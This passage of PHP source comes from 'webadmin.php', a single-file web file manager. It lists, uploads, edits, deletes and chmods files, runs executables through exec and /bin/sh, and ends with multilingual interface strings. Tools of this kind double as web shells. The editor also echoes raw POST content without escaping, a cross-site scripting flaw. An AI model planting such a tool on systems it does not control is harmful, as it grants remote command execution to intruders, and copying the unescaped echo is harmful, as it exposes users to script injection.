<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist ($directory) {
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array(
'filename' => $filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) $file['target'] = @readlink($path);
if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist ($list, $key, $reverse) {
$dirs = array();
$files = array();
for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i]['is_dir']) $dirs[] = $list[$i];
else $files[] = $list[$i];
}
quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) $dirs = array_reverse($dirs);
quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) $files = array_reverse($files);
return array_merge($dirs, $files);
}
function quicksort (&$array, $first, $last, $key) {
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) $l++;
while ($array[$r][$key] > $cmp) $r--;
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string ($mode) {
if (($mode & 0xC000) === 0xC000) {
$type = 's';
} elseif (($mode & 0xA000) === 0xA000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = ($mode & 00400) ? 'r' : '-';
$owner .= ($mode & 00200) ? 'w' : '-';
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? 's' : 'S';
} else {
$owner .= ($mode & 00100) ? 'x' : '-';
}
$group = ($mode & 00040) ? 'r' : '-';
$group .= ($mode & 00020) ? 'w' : '-';
if ($mode & 0x400) {
$group .= ($mode & 00010) ? 's' : 'S';
} else {
$group .= ($mode & 00010) ? 'x' : '-';
}
$other = ($mode & 00004) ? 'r' : '-';
$other .= ($mode & 00002) ? 'w' : '-';
if ($mode & 0x200) {
$other .= ($mode & 00001) ? 't' : 'T';
} else {
$other .= ($mode & 00001) ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script ($filename) {
return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}
function getmimetype ($filename) {
static $mimes = array(
'\.jpg$|\.jpeg$' => 'image/jpeg',
'\.gif$' => 'image/gif',
'\.png$' => 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}
// return 'application/octet-stream';
return 'text/plain';
}
function del ($file) {
global $delim;
if (!file_exists($file)) return false;
if (@is_dir($file) && !@is_link($file)) {
$success = false;
if (@rmdir($file)) {
$success = true;
} elseif ($dir = @opendir($file)) {
$success = true;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$success = false;
}
}
closedir($dir);
if ($success) $success = @rmdir($file);
}
return $success;
}
return @unlink($file);
}
function addslash ($directory) {
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute ($string, $directory) {
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative ($path) {
global $win;
if ($win) {
return (substr($path, 1, 1) != ':');
} else {
return (substr($path, 0, 1) != '/');
}
}
function absolute2relative ($directory, $target) {
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') $path = '.';
return $path;
}
function simplify_path ($path) {
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize ($filesize) {
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
return $filesize . " {$suffix}B";
}
function strip (&$str) {
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
$list = sortlist($list, $sort, $reverse);
echo '<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
listing($list);
} else {
echo error('not_readable', $directory);
}
echo '</table>
</form>
';
html_footer();
}
function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
column_title('filename', $sort, $reverse);
column_title('size', $sort, $reverse);
if (!$win) {
column_title('permission', $sort, $reverse);
column_title('owner', $sort, $reverse);
column_title('group', $sort, $reverse);
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo ' ]';
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "</td>\n";
echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
echo html(permission_octal2string($file['permission']));
if ($l) echo '</a>';
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) $actions[] = 'edit';
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo ' </td>
</tr>
';
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function column_title ($column, $sort, $reverse) {
global $self, $directory;
$d = 'dir=' . urlencode($directory) . '&';
if ($sort == $column) {
if (!$reverse) {
$r = '&reverse=true';
$arr = ' ∧';
} else {
$arr = ' ∨';
}
} else {
$r = '';
}
echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
}
function directory_choice () {
global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit ($file) {
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo 'Require valid-user';
}
echo '</textarea>
<hr />
';
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize ($content) {
$size = strlen($content) + 5;
if ($size < 30) $size = 30;
return $size;
}
function request_dump () {
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html ($string) {
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word ($word) {
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase ($phrase, $arguments) {
global $words;
static $search;
if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords ($lang) {
global $word_charset, $date_format;
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',
'size' => 'Größe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',
'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',
'create_symlink' => 'Symlink erstellen',
'delete' => 'löschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',
'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',
'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
);
case 'fr':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',
'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',
'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',
'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',
'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',
'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
);
case 'it':
$date_format = 'd-m-Y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',
'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',
'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',
'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',
'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',
'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non può essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non può essere letto.'
);
case 'nl':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',
'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',
'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',
'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',
'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',
'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
);
case 'se':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
'size' => 'Storlek',
'permission' => 'Säkerhetsnivå',
'owner' => 'Ägare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
'read' => 'Läs',
'write' => 'Skriv',
'execute' => 'Utför',
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'Ändra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'Ändra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Töm',
'relative' => 'Relative path to target',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'Användare',
'password' => 'Lösenord',
'add' => 'Lägg till',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De här filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn på fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ändras.',
'executed' => "\"[%1]\" har utförts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rättigheter för "[%1]":',
'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte läsas.'
);
case 'sp':
$date_format = 'j/n/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directorio',
'file' => 'Archivo',
